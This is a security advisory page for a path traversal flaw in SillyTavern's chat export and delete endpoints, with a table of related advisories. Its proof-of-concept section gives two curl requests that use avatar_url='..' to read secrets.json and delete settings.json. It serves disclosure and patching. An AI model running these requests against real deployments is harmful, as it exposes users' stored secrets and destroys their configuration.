SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root
High8.3CVE-2026-34524 · Published Apr 1, 2026 · updated Apr 6, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| sillytavern npm | < 1.17.0 | 1.17.0 |
Details and references
## Summary A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=".."`. ### Details The input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`. Evidence: - Weak validator regex (does not reject `..`): <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27> - Vulnerable delete path construction: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577> - Vulnerable export path construction: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598> - Endpoint auth context (authenticated user access): <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239> Because `avatar_url=".."` is accepted, `path.join(<user>/chats, "..")` resolves to `<user>/`, enabling direct access to files outside the chats directory. ### PoC Prerequisites: - Valid authenticated session cookie (`cookie.txt`) - Valid CSRF token (`$TOKEN`) Read sensitive file (`secrets.json`): ```bash curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \ -d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \ http://TARGET:8000/api/chats/export ``` Delete sensitive file (`settings.json`): ```bash curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \ -d '{"avatar_url":"..","chatfile":"settings.json"}' \ http://TARGET:8000/api/chats/delete ``` ### Impact - Confidentiality: exposed per-user secrets and config data. - Integrity/Availability: attacker can delete critical per-user files and break account operation. - Risk is significant in multi-user or remotely reachable deployments. ### Resolution The issue was addressed in version 1.17.0
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-22
- Also known as
- CVE-2026-34524
More sillytavern advisories
All| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Apr 1 | SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory CVE-2026-34522High8.1fixed in 1.17.0 | High8.1 | 1.17.0 |
| Apr 1 | SillyTavern: Path Traversal allows file existence oracle CVE-2026-34523Medium5.3fixed in 1.17.0 | Medium5.3 | 1.17.0 |
| Apr 1 | SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6 CVE-2026-34526Medium5.0fixed in 1.17.0 | Medium5.0 | 1.17.0 |
| May 12 | SillyTavern: Existing sessions are not invalidated after password change, allowing session reuse and account takeover CVE-2026-44648High7.5fixed in 1.18.0 | High7.5 | 1.18.0 |
| May 12 | SillyTavern has Authentication Bypass via SSO Header Injection CVE-2026-44649Critical9.8fixed in 1.18.0 | Critical9.8 | 1.18.0 |
| May 12 | SillyTavern has a Path Traversal issue CVE-2026-44650Critical9.1fixed in 1.18.0 | Critical9.1 | 1.18.0 |